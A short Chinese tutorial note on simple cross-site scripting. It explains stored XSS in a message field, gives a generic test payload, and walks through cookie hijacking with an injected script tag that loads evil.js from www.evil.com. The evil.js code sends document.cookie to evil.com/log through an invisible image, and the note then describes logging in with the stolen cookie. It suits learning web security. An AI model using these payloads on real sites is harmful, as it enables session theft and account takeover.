简单XSS攻击
留言类,简单注入javascript
万能测试XSS漏洞代码:"/></textarea><script>alert(1)</script>
有个表单域:<input type=“text” name=“content” value=“这里是用户填写的数据”>
1、假若用户填写数据为:<script>alert('foolish!')</script>(或者<script type="text/javascript" src="./xss.js"></script>)
2、提交后将会弹出一个foolish警告窗口,接着将数据存入数据库
3、等到别的客户端请求这个留言的时候,将数据取出显示留言时将执行攻击代码,将会显示一个foolish警告窗口。
【将数据改成html标签进行攻击,则会将原本的样式打乱。。。。。。。。】
XSS Payload
XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚
本,控制用户的浏览器。这些用以完成各种具体功能的恶意脚本,被称为“XSS
Payload”。
“Cookie劫持”攻击
Cookie中一般加密保存了当前用户的登录凭证。Cookie如果丢失,往往意味着用户
的登录凭证丢失。换句话说,攻击者可以不通过密码,而直接登录进用户的账户。
攻击者先加载一个含有真正的XSS Payload远程脚本==(evil.js)==,避免直接在URL的参数里写入大量的
JavaScript代码
http://www.a.com/test.htm?abc="><script
src=http://www.evil.com/evil.js ></script>
在evil.js中,可以通过如下代码窃取Cookie:
var img = document.createElement("img");
img.src = "http://www.evil.com/
log?"+escape(document.cookie);
document.body.appendChild(img);
这段代码在页面中插入了一张看不见的图片,同时把document.cookie对象作为参数发送到远程服务器。事实上,http://www.evil.com/log并不一定要存在,因为这个请求会在远程服务器的Web日志中留下记录:
127.0.0.1 - - [19/Jul/2010:11:30:42 +0800]
"GET /log?cookie1%3D1234 HTTP/1.1" 404 288
一个最简单的窃取Cookie的XSS Payload就这样实现了
利用窃取的Cookie登录目标用户的账户,和“利用自定义Cookie访问网站”的过程是一样的拿到cookie后,将其替换当前未登录页面的cookie,重新发包,拿到返回的HTML代码本地打开即可登入目标账户
So,通过XSS攻击,可以完成“Cookie劫持”攻击,直接登录进用户的账户。因为在当前的Web中,Cookie一般是用户登录的凭证,浏览器发起的所有请求都会自动带上Cookie。如果Cookie没有绑定客户端信息,当攻击者窃取了Cookie后,就可以不用密码登录进用户的账户。